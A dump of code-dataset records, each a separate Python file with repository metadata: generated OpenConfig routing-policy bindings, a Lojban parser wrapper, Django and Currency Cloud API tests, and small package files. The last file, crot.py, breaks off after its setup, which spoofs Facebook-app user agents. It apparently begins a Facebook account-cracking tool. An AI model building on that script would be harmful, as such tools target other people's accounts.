'_extmethods', '__routing_policy',) _yang_name = 'openconfig-routing-policy' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__routing_policy = YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [] def _get_routing_policy(self): """ Getter method for routing_policy, mapped from YANG variable /routing_policy (container) YANG Description: Top-level container for all routing policy configuration """ return self.__routing_policy def _set_routing_policy(self, v, load=False): """ Setter method for routing_policy, mapped from YANG variable /routing_policy (container) If this variable is read-only (config: false) in the source YANG file, then _set_routing_policy is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_routing_policy() directly. YANG Description: Top-level container for all routing policy configuration """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """routing_policy must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True)""", }) self.__routing_policy = t if hasattr(self, '_set'): self._set() def _unset_routing_policy(self): self.__routing_policy = YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) routing_policy = __builtin__.property(_get_routing_policy, _set_routing_policy) _pyangbind_elements = OrderedDict([('routing_policy', routing_policy), ]) class openconfig_policy_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-policy-types - based on the path /openconfig-policy-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module contains general data definitions for use in routing policy. It can be imported by modules that contain protocol- specific policy conditions and actions. """ _pyangbind_elements = {} from . import routing_policy class openconfig_routing_policy(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-routing-policy - based on the path /openconfig-routing-policy. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module describes a YANG model for routing policy configuration. It is a limited subset of all of the policy configuration parameters available in the variety of vendor implementations, but supports widely used constructs for managing how routes are imported, exported, and modified across different routing protocols. This module is intended to be used in conjunction with routing protocol configuration models (e.g., BGP) defined in other modules. Route policy expression: Policies are expressed as a set of top-level policy definitions, each of which consists of a sequence of policy statements. Policy statements consist of simple condition-action tuples. Conditions may include mutiple match or comparison operations, and similarly actions may be multitude of changes to route attributes or a final disposition of accepting or rejecting the route. Route policy evaluation: Policy definitions are referenced in routing protocol configurations using import and export configuration statements. The arguments are members of an ordered list of named policy definitions which comprise a policy chain, and optionally, an explicit default policy action (i.e., reject or accept). Evaluation of each policy definition proceeds by evaluating its corresponding individual policy statements in order. When a condition statement in a policy statement is satisfied, the corresponding action statement is executed. If the action statement has either accept-route or reject-route actions, policy evaluation of the current policy definition stops, and no further policy definitions in the chain are evaluated. If the condition is not satisfied, then evaluation proceeds to the next policy statement. If none of the policy statement conditions are satisfied, then evaluation of the current policy definition stops, and the next policy definition in the chain is evaluated. When the end of the policy chain is reached, the default route disposition action is performed (i.e., reject-route unless an an alternate default action is specified for the chain). Policy 'subroutines' (or nested policies) are supported by allowing policy statement conditions to reference another policy definition which applies conditions and actions from the referenced policy before returning to the calling policy statement and resuming evaluation. If the called policy results in an accept-route (either explicit or by default), then the subroutine returns an effective true value to the calling policy. Similarly, a reject-route action returns false. If the subroutine returns true, the calling policy continues to evaluate the remaining conditions (using a modified route if the subroutine performed any changes to the route). """ __slots__ = ('_path_helper', '_extmethods', '__routing_policy',) _yang_name = 'openconfig-routing-policy' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__routing_policy = YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [] def _get_routing_policy(self): """ Getter method for routing_policy, mapped from YANG variable /routing_policy (container) YANG Description: Top-level container for all routing policy configuration """ return self.__routing_policy def _set_routing_policy(self, v, load=False): """ Setter method for routing_policy, mapped from YANG variable /routing_policy (container) If this variable is read-only (config: false) in the source YANG file, then _set_routing_policy is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_routing_policy() directly. YANG Description: Top-level container for all routing policy configuration """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """routing_policy must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True)""", }) self.__routing_policy = t if hasattr(self, '_set'): self._set() def _unset_routing_policy(self): self.__routing_policy = YANGDynClass(base=routing_policy.routing_policy, is_container='container', yang_name="routing-policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/routing-policy', defining_module='openconfig-routing-policy', yang_type='container', is_config=True) routing_policy = __builtin__.property(_get_routing_policy, _set_routing_policy) _pyangbind_elements = OrderedDict([('routing_policy', routing_policy), ])

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0

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null

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null

0

7

37b5aa6c4ca40bfbcca96d9a171b8ae97be9b206

852

py

Python

camxes_py/__init__.py

rlpowell/camxes-py

c959fc336ecebc1b1f5397e35b98303d8368dc40

[ "MIT" ]

2

2019-01-23T04:20:53.000Z

2021-12-15T13:13:48.000Z

camxes_py/__init__.py

rlpowell/camxes-py

c959fc336ecebc1b1f5397e35b98303d8368dc40

[ "MIT" ]

1

2021-09-07T10:02:18.000Z

camxes_py/__init__.py

rlpowell/camxes-py

c959fc336ecebc1b1f5397e35b98303d8368dc40

[ "MIT" ]

4

2019-01-28T19:10:06.000Z

2021-10-17T06:06:28.000Z

from .parsers import camxes_ilmen from .transformers import camxes_json def parse(text, parser=None, rule=None, transformer=None, give_node=False): if parser is None: parser = camxes_ilmen.Parser(rule) if transformer is None: transformer = camxes_json.Transformer() parsed = parser.parse(text) transformed = transformer.transform(parsed) if give_node: return transformed, parsed else: return transformed def match(text, parser=None, rule=None, transformer=None, give_node=False): if parser is None: parser = camxes_ilmen.Parser(rule) if transformer is None: transformer = camxes_json.Transformer() parsed = parser.match(text) transformed = transformer.transform(parsed) if give_node: return transformed, parsed else: return transformed

29.37931

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852

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null

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7

808d54decc97526e9df1bc26afa202655217c525

61

py

Python

tests/test_connector_directory_okta.py

NandaMaddi/user-sync.py

cf091c4db31b5886aa114c9dfa7e630dcf75e05e

[ "MIT" ]

null

tests/test_connector_directory_okta.py

NandaMaddi/user-sync.py

cf091c4db31b5886aa114c9dfa7e630dcf75e05e

[ "MIT" ]

null

tests/test_connector_directory_okta.py

NandaMaddi/user-sync.py

cf091c4db31b5886aa114c9dfa7e630dcf75e05e

[ "MIT" ]

null

import os import pytest def test_placeholder(): pass

6.777778

23

0.704918

8

61

5.25

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61

8

24

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true

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null

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1

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null

0

1

0

1

0

7

80a780ae55032a56786fe8c0411eb13c3f48f796

14,127

py

Python

tests/tests.py

padeny/tastypie_api

696a17535d921fabe35d693565684803d39c451a

[ "MIT" ]

2

2019-07-10T12:09:25.000Z

2019-07-10T12:09:26.000Z

tests/tests.py

padeny/tastypie_api

696a17535d921fabe35d693565684803d39c451a

[ "MIT" ]

4

2020-06-05T21:24:48.000Z

2021-11-08T00:57:37.000Z

tests/tests.py

padeny/tastypie_api

696a17535d921fabe35d693565684803d39c451a

[ "MIT" ]

null

import datetime from django.contrib.auth.models import User from django.test import TestCase from django.core.files.uploadedfile import SimpleUploadedFile from tastypie.test import ResourceTestCaseMixin from tastypie_api import http from tests.models import Entry class EntryResourceTest(ResourceTestCaseMixin, TestCase): # Use ``fixtures`` & ``urls`` as normal. See Django's ``TestCase`` # documentation for the gory details. fixtures = ['test_entries.json'] def setUp(self): super(EntryResourceTest, self).setUp() # Create a user. self.username = 'daniel' self.password = 'pass' self.user = User.objects.create_user(self.username, 'daniel@example.com', self.password) # Fetch the ``Entry`` object we'll use in testing. # Note that we aren't using PKs because they can change depending # on what other tests are running. self.entry_1 = Entry.objects.get(slug='first-post') # We also build a detail URI, since we will be using it all over. # DRY, baby. DRY. self.detail_url = '/api/v1/entries/{0}/'.format(self.entry_1.pk) # The data we'll send on POST requests. Again, because we'll use it # frequently (enough). self.post_data = { 'user': '/api/v1/user/{0}/'.format(self.user.pk), 'title': 'Sixth Post!', 'slug': 'sixth-post', 'created': '2012-05-01T22:05:12' } def get_credentials(self): return self.create_basic(username=self.username, password=self.password) def assertValidCustomeResponse(self, resp): " validate response format" self.assertValidJSONResponse(resp) self.assertKeys(self.deserialize(resp), ['status_code', 'msg', 'meta', 'data']) def assertSuccessResponse(self, resp): self.assertEqual(self.deserialize(resp)['status_code'], http.SUCCESS) def assertResponseStatusCode(self, resp, status_code): self.assertEqual(self.deserialize(resp)['status_code'], status_code) def assertHttpUnauthorized(self, resp): self.assertEqual(self.deserialize(resp)['status_code'], http.HttpUnauthorized.res_code) def test_get_list_unauthenticated(self): resp = self.api_client.get('/api/v1/entries/', format='json') self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_get_list_json(self): resp = self.api_client.get('/api/v1/entries/', format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp) # Scope out the data for correctness. self.assertEqual(len(self.deserialize(resp)['data']), 5) def test_get_detail_unauthenticated(self): resp = self.api_client.get(self.detail_url, format='json') self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_get_detail_json(self): resp = self.api_client.get(self.detail_url, format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp) # We use ``assertKeys`` here to just verify the keys, not all the data. self.assertKeys(self.deserialize(resp)['data'], ['created', 'slug', 'title', 'user', 'image']) self.assertEqual(self.deserialize(resp)['data']['title'], 'First Post!') def test_post_list_unauthenticated(self): resp = self.api_client.post('/api/v1/entries/', format='json', data=self.post_data) self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_post_list(self): # Check how many are there first. self.assertEqual(Entry.objects.count(), 5) resp = self.api_client.post( '/api/v1/entries/', format='json', data=self.post_data, authentication=self.get_credentials()) self.assertSuccessResponse(resp) # Verify a new one has been added. self.assertEqual(Entry.objects.count(), 6) def test_post_form_data(self): # Check how many are there first. image = SimpleUploadedFile("12.png", b"file_content") post_form_data = {"image": image, "created": "2012-05-01T20:06:12", "title": "sasa", "slug": "test"} resp = self.api_client.post( '/api/v1/entries/', data=post_form_data, format='json', authentication=self.get_credentials()) self.deserialize(resp) self.assertSuccessResponse(resp) # Verify a new one has been added. self.assertEqual(Entry.objects.count(), 6) yy = Entry.objects.get(id=6) self.assertEqual(yy.image.name, image.name) def test_patch_detail_form_data(self): # Check how many are there first. self.assertEqual(Entry.objects.count(), 5) image = SimpleUploadedFile("12.png", b"file_content") patch_form_data = {"image": image, "created": "2012-05-01T20:06:12", " slug": "test"} resp = self.api_client.patch('/api/v1/entries/2/', data=patch_form_data, authentication=self.get_credentials()) self.deserialize(resp) self.assertSuccessResponse(resp) # Verify a new one has been added. self.assertEqual(Entry.objects.count(), 5) yy = Entry.objects.get(id=2) self.assertEqual(yy.image.name, image.name) self.assertEqual(yy.title, "Second Post!") def test_put_detail_form_data(self): # Check how many are there first. self.assertEqual(Entry.objects.count(), 5) image = SimpleUploadedFile("12.png", b"file_content") put_form_data = {"image": image, "created": "2012-05-01T20:06:12", "title": "sasa"} resp = self.api_client.put( '/api/v1/entries/2/', data=put_form_data, authentication=self.get_credentials()) self.deserialize(resp) self.assertSuccessResponse(resp) # Verify a new one has been added. self.assertEqual(Entry.objects.count(), 5) yy = Entry.objects.get(id=2) self.assertEqual(yy.image.name, image.name) def test_put_detail_unauthenticated(self): resp = self.api_client.put(self.detail_url, format='json', data={}) self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_put_detail(self): # Grab the current data & modify it slightly. original_data = self.deserialize( self.api_client.get(self.detail_url, format='json', authentication=self.get_credentials())) new_data = original_data.copy() new_data['title'] = 'Updated: First Post' new_data['created'] = '2012-05-01T20:06:12' self.assertEqual(Entry.objects.count(), 5) resp = self.api_client.put(self.detail_url, format='json', data=new_data, authentication=self.get_credentials()) self.assertValidCustomeResponse(resp) self.assertResponseStatusCode(resp, http.HttpAccepted.res_code) # Make sure the count hasn't changed & we did an update. self.assertEqual(Entry.objects.count(), 5) # Check for updated data. detail_pk = self.entry_1.pk self.assertEqual(Entry.objects.get(pk=detail_pk).title, 'Updated: First Post') self.assertEqual(Entry.objects.get(pk=detail_pk).slug, 'first-post') self.assertEqual(Entry.objects.get(pk=detail_pk).created, datetime.datetime(2012, 5, 1, 20, 6, 12)) def test_delete_detail_unauthenticated(self): resp = self.api_client.delete(self.detail_url, format='json') self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_delete_detail(self): self.assertEqual(Entry.objects.count(), 5) resp = self.api_client.delete(self.detail_url, format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp) self.assertResponseStatusCode(resp, http.HttpAccepted.res_code) self.assertEqual(Entry.objects.count(), 4) def test_paginator(self): resp = self.api_client.get( '/api/v1/entries/?limit=2&page_num=1', format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp) # Scope out the data for correctness. self.assertEqual(len(self.deserialize(resp)['data']), 2) self.assertEqual(self.deserialize(resp)['meta']['previous'], None) resp1 = self.api_client.get( '/api/v1/entries/?limit=0&page_num=1', format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp1) # Scope out the data for correctness. self.assertEqual(len(self.deserialize(resp1)['data']), 5) self.assertEqual(self.deserialize(resp1)['meta']['previous'], None) def test_paginator_exception(self): resp1 = self.api_client.get( '/api/v1/entries/?limit=2&page_num=aa', format='json', authentication=self.get_credentials()) resp2 = self.api_client.get( '/api/v1/entries/?limit=2&page_num=-1', format='json', authentication=self.get_credentials()) self.assertValidCustomeResponse(resp1) self.assertResponseStatusCode(resp1, http.FAILED) self.assertValidCustomeResponse(resp2) self.assertResponseStatusCode(resp2, http.FAILED) def test_custom_api_unauthenticated(self): resp1 = self.api_client.get('/api/v1/entries/test_custom_api/', format='json') self.assertValidCustomeResponse(resp1) self.assertHttpUnauthorized(resp1) resp2 = self.api_client.get('/api/v1/entries/test_custom_api2/', format='json') self.assertValidCustomeResponse(resp2) self.assertSuccessResponse(resp2) resp3 = self.api_client.get('/api/v1/entries/test_custom_api3/', format='json') self.assertValidCustomeResponse(resp3) self.assertSuccessResponse(resp3) resp4 = self.api_client.get('/api/v1/entries/test_custom_api4/', format='json') self.assertValidCustomeResponse(resp4) self.assertSuccessResponse(resp4) def test_custom_api_request_method(self): resp2 = self.api_client.post('/api/v1/entries/test_custom_api2/', format='json') self.assertValidCustomeResponse(resp2) self.assertResponseStatusCode(resp2, http.HttpMethodNotAllowed.res_code) resp3 = self.api_client.post('/api/v1/entries/test_custom_api3/', format='json') self.assertValidCustomeResponse(resp3) self.assertSuccessResponse(resp3) class Entry2ResourceTest(ResourceTestCaseMixin, TestCase): """ SessionAuthentication的单元测试, 每个测试方法中先调用下self.setup_session()即可 """ fixtures = ['test_entries.json'] def setUp(self): super(Entry2ResourceTest, self).setUp() # Create a user. self.username = 'daniel' self.password = 'pass' self.user = User.objects.create_user(self.username, 'daniel@example.com', self.password) # Fetch the ``Entry`` object we'll use in testing. # Note that we aren't using PKs because they can change depending # on what other tests are running. self.entry_1 = Entry.objects.get(slug='first-post') # We also build a detail URI, since we will be using it all over. # DRY, baby. DRY. self.detail_url = '/api/v1/entries2/{0}/'.format(self.entry_1.pk) # The data we'll send on POST requests. Again, because we'll use it # frequently (enough). self.post_data = { 'user': '/api/v1/user/{0}/'.format(self.user.pk), 'title': 'Sixth Post!', 'slug': 'sixth-post', 'created': '2012-05-01T22:05:12' } def setup_session(self): self.api_client.client.login(username=self.username, password=self.password) def assertValidCustomeResponse(self, resp): " validate response format" self.assertValidJSONResponse(resp) self.assertKeys(self.deserialize(resp), ['status_code', 'msg', 'meta', 'data']) def assertSuccessResponse(self, resp): self.assertEqual(self.deserialize(resp)['status_code'], http.SUCCESS) def assertResponseStatusCode(self, resp, status_code): self.assertEqual(self.deserialize(resp)['status_code'], status_code) def assertHttpUnauthorized(self, resp): self.assertEqual(self.deserialize(resp)['status_code'], http.HttpUnauthorized.res_code) def test_get_list_unauthenticated(self): resp = self.api_client.get('/api/v1/entries2/', format='json') self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_get_list_json(self): self.setup_session() resp = self.api_client.get('/api/v1/entries2/', format='json') self.assertValidCustomeResponse(resp) # Scope out the data for correctness. self.assertEqual(len(self.deserialize(resp)['data']), 5) def test_get_detail_unauthenticated(self): resp = self.api_client.get(self.detail_url, format='json') self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_get_detail_json(self): self.setup_session() resp = self.api_client.get(self.detail_url, format='json') self.assertValidCustomeResponse(resp) # We use ``assertKeys`` here to just verify the keys, not all the data. self.assertKeys(self.deserialize(resp)['data'], ['created', 'slug', 'title', 'user', 'image']) self.assertEqual(self.deserialize(resp)['data']['title'], 'First Post!') def test_post_list_unauthenticated(self): resp = self.api_client.post('/api/v1/entries2/', format='json', data=self.post_data) self.assertValidCustomeResponse(resp) self.assertHttpUnauthorized(resp) def test_post_list(self): self.setup_session() # Check how many are there first. self.assertEqual(Entry.objects.count(), 5) resp = self.api_client.post( '/api/v1/entries2/', format='json', data=self.post_data) self.assertSuccessResponse(resp) # Verify a new one has been added. self.assertEqual(Entry.objects.count(), 6)

44.564669

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0.043375

0.036595

0.842213

0.827252

0.809385

0.787321

0.769777

0.730707

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0.018071

0.200892

14,127

316

121

44.705696

0.804943

0.113329

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0.621005

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0.120687

0.028754

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0.43379

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false

0.027397

0.031963

0.004566

0.214612

0

null

0

1

0

null

0

1

0

7

80f13752ecb51a31fd6ed308f30067d5bd161342

172

py

Python

zeeguu/util/__init__.py

alinbalutoiu/Zeeguu-Core

348f0aa05603fb9d2b06e1f38dbf6bb9fdcaac6d

[ "MIT" ]

null

zeeguu/util/__init__.py

alinbalutoiu/Zeeguu-Core

348f0aa05603fb9d2b06e1f38dbf6bb9fdcaac6d

[ "MIT" ]

null

zeeguu/util/__init__.py

alinbalutoiu/Zeeguu-Core

348f0aa05603fb9d2b06e1f38dbf6bb9fdcaac6d

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf8 -*- from zeeguu.util.encoding import JSONSerializable, encode, encode_error from zeeguu.util.hash import text_hash, password_hash

28.666667

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0.153846

0.215385

0

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0

1

0

1

0

7

03b762ad7b9046295fc8fb9c7f1ece73f4b6c82b

48

py

Python

app/globals.py

aviago/aviago

6812f27a6fe1472752b274c9497487eed8d63abd

[ "Apache-2.0" ]

null

app/globals.py

aviago/aviago

6812f27a6fe1472752b274c9497487eed8d63abd

[ "Apache-2.0" ]

null

app/globals.py

aviago/aviago

6812f27a6fe1472752b274c9497487eed8d63abd

[ "Apache-2.0" ]

null

def setup_custom_globals(): return True, ''

16

27

0.6875

6

48

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1

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48

2

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null

0

1

0

1

0

7

03e2f5102aa7e33d430a1f59c85c032a31828549

8,557

py

Python

tests/integration/test_accounts.py

icebotariccl/currencycloud-python

03bb0df2743e6669790dee6f2367f9e0500a4610

[ "MIT" ]

null

tests/integration/test_accounts.py

icebotariccl/currencycloud-python

03bb0df2743e6669790dee6f2367f9e0500a4610

[ "MIT" ]

null

tests/integration/test_accounts.py

icebotariccl/currencycloud-python

03bb0df2743e6669790dee6f2367f9e0500a4610

[ "MIT" ]

null

from betamax import Betamax from currencycloud import Client, Config from currencycloud.resources import * class TestAccounts: def setup_method(self, method): # TODO: To run against real server please delete ../fixtures/vcr_cassettes/* and replace # login_id and api_key with valid credentials before running the tests login_id = 'development@currencycloud.com' api_key = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef' environment = Config.ENV_DEMO self.client = Client(login_id, api_key, environment) def test_accounts_can_get_current(self): with Betamax(self.client.config.session) as betamax: betamax.use_cassette('accounts/can_get_current') account = self.client.accounts.current() assert isinstance(account, Account) assert account is not None assert account.id is not None assert account.account_name is not None assert account.brand == "currencycloud" assert account.your_reference is None assert account.status is not None assert account.street is not None assert account.city is not None assert account.state_or_province is None assert account.country is not None assert account.postal_code is not None assert account.spread_table is not None assert account.legal_entity_type is not None assert account.created_at is not None assert account.updated_at is not None assert account.identification_type is not None assert account.identification_value is not None assert account.short_reference is not None assert account.api_trading is not None assert account.online_trading is not None assert account.phone_trading is not None assert account.process_third_party_funds is not None assert account.settlement_type is not None def test_accounts_can_find(self): with Betamax(self.client.config.session) as betamax: betamax.use_cassette('accounts/find') accounts = self.client.accounts.find(brand="currencycloud", per_page=1) assert accounts assert len(accounts) == 1 account = accounts[0] assert account is not None assert isinstance(account, Account) assert account.id is not None assert account.account_name is not None assert account.brand == "currencycloud" assert account.your_reference is None assert account.status is not None assert account.street is None assert account.city is None assert account.state_or_province is None assert account.country is None assert account.postal_code is None assert account.spread_table is not None assert account.legal_entity_type is None assert account.created_at is None assert account.updated_at is None assert account.identification_type is None assert account.identification_value is None assert account.short_reference is not None assert account.api_trading is not None assert account.online_trading is not None assert account.phone_trading is not None assert account.process_third_party_funds is not None assert account.settlement_type is not None def test_accounts_can_retrieve(self): with Betamax(self.client.config.session) as betamax: betamax.use_cassette('accounts/retrieve') account = self.client.accounts.retrieve("8ec3a69b-02d1-4f09-9a6b-6bd54a61b3a8") assert account is not None assert isinstance(account, Account) assert account.id == "8ec3a69b-02d1-4f09-9a6b-6bd54a61b3a8" assert account.account_name is not None assert account.brand == "currencycloud" assert account.your_reference == '' assert account.status is not None assert account.street is None assert account.city is None assert account.state_or_province is None assert account.country is None assert account.postal_code is None assert account.spread_table == 'fxcg_rfx_default' assert account.legal_entity_type is None assert account.created_at is not None assert account.updated_at is not None assert account.identification_type is None assert account.identification_value is None assert account.short_reference is not None assert account.api_trading is not None assert account.online_trading is not None assert account.phone_trading is not None assert account.process_third_party_funds is not None assert account.settlement_type is not None def test_accounts_can_create(self): with Betamax(self.client.config.session) as betamax: betamax.use_cassette('accounts/create') account = self.client.accounts.create(account_name="Currency Cloud Testing Environment", country="GB", brand="currencycloud", spread_table="no_markup", legal_entity_type="company") assert account is not None assert isinstance(account, Account) assert account.id is not None assert account.account_name == "Currency Cloud Testing Environment" assert account.brand == "currencycloud" assert account.your_reference is None assert account.status is not None assert account.street is None assert account.city is None assert account.state_or_province is None assert account.country == 'GB' assert account.postal_code is None assert account.spread_table == 'no_markup' assert account.legal_entity_type == 'company' assert account.created_at is not None assert account.updated_at is not None assert account.identification_type is None assert account.identification_value is None assert account.short_reference is not None assert account.api_trading is not None assert account.online_trading is not None assert account.phone_trading is not None assert account.process_third_party_funds is not None assert account.settlement_type is not None def test_accounts_can_update(self): with Betamax(self.client.config.session) as betamax: betamax.use_cassette('accounts/update') account = self.client.accounts.retrieve("8ec3a69b-02d1-4f09-9a6b-6bd54a61b3a8") assert account is not None account.city = "Manchester" account.update() assert account.city == "Manchester" account = self.client.accounts.retrieve("8ec3a69b-02d1-4f09-9a6b-6bd54a61b3a8") assert account is not None assert account.id == '8ec3a69b-02d1-4f09-9a6b-6bd54a61b3a8' assert account.account_name == "Currency Cloud" assert account.brand == "currencycloud" assert account.your_reference == '' assert account.status is not None assert account.street is None assert account.city == "Manchester" assert account.state_or_province is None assert account.country is None assert account.postal_code is None assert account.spread_table == 'fxcg_rfx_default' assert account.legal_entity_type is None assert account.created_at is not None assert account.updated_at is not None assert account.identification_type is None assert account.identification_value is None assert account.short_reference is not None assert account.api_trading is not None assert account.online_trading is not None assert account.phone_trading is not None assert account.process_third_party_funds is not None assert account.settlement_type is not None

45.036842

100

0.642047

1,001

8,557

5.345654

0.114885

0.284246

0.285928

0.162586

0.849

0.839469

0.790693

0.786582

0

0.016619

0.310857

8,557

189

101

45.275132

0.890792

0.018114

0

0.70625

0

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0.035361

0

0.005291

0.76875

1

0.0375

false

0

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0

null

1

0

1

0

null

0

1

0

11

458ab29c4b382e4569018f5732cf55cece8259ae

188

py

Python

litex_things/deps/litescope/litescope/__init__.py

bjonnh/fomu-playground

9f95ed7b28d15ce219d09c16c2c8d6b5594adceb

[ "0BSD" ]

null

litex_things/deps/litescope/litescope/__init__.py

bjonnh/fomu-playground

9f95ed7b28d15ce219d09c16c2c8d6b5594adceb

[ "0BSD" ]

null

litex_things/deps/litescope/litescope/__init__.py

bjonnh/fomu-playground

9f95ed7b28d15ce219d09c16c2c8d6b5594adceb

[ "0BSD" ]

null

from litescope.core import LiteScopeIO, LiteScopeAnalyzer from litescope.software.driver.io import LiteScopeIODriver from litescope.software.driver.analyzer import LiteScopeAnalyzerDriver

47

70

0.888298

20

188

8.35

0.6

0.233533

0.251497

0.323353

0

0.069149

188

3

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62.666667

0.954286

0

1

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true

0

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0

null

0

1

0

1

0

1

0

8

45aafe34893ac0ae64f0e27a82697099813b0b60

101,284

py

Python

crot.py

ifank404/crot

50169a952fc497acba989c7107af8407fa2ae617

[ "Apache-2.0" ]

null

crot.py

ifank404/crot

50169a952fc497acba989c7107af8407fa2ae617

[ "Apache-2.0" ]

null

crot.py

ifank404/crot

50169a952fc497acba989c7107af8407fa2ae617

[ "Apache-2.0" ]

null

#!/usr/bin/python2 # coding=utf-8 import os,sys,time,mechanize,itertools,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool #### WARNA RANDOM #### P = '\033[1;97mIlham code' # putih M = '\033[1;91mIlham code' # merah H = '\033[1;92m' # hijau K = '\033[1;93m' # kuning B = '\033[1;94m' # biru U = '\033[1;95m' # ungu O = '\033[1;96m' # biru muda my_color = [P, M, H, K, B, U, O] warna = random.choice(my_color) warni = random.choice(my_color) try: import mechanize except ImportError: os.system("pip2 install mechanize") try: import requests except ImportError: os.system("pip2 install requests") os.system("python2 crot.py") from requests.exceptions import ConnectionError from mechanize import Browser from datetime import datetime reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) br.addheaders = [('User-Agent','Mozilla/5.0 (Linux; Android 9; Infinix X652B Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.81 Mobile Safari/537.36 [FBAN/FB4A;FBAV/286.0.0.48.112;FBBV/242171848;FBDM/{density=2.0,width=720,height=1428};FBLC/en_US;FBRV/243389251;FBCR/Warid;FBMF/INFINIX MOBILITY LIMITED;FBBD/Infinix;FBPN/com.facebook.katana;FBDV/Infinix X652B;FBSV/9;FBOP/19;FBCA/arm64-v8a:;]')] br.addheaders = [('user-agent','Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')] br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] os.system("clear") done = False def animate(): for c in itertools.cycle(['\033[1;96m|', '\033[1;92m/', '\033[1;95m-', '\033[1;91m\\']): if done: break sys.stdout.write('\r\033[1;93mLoading ' + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c 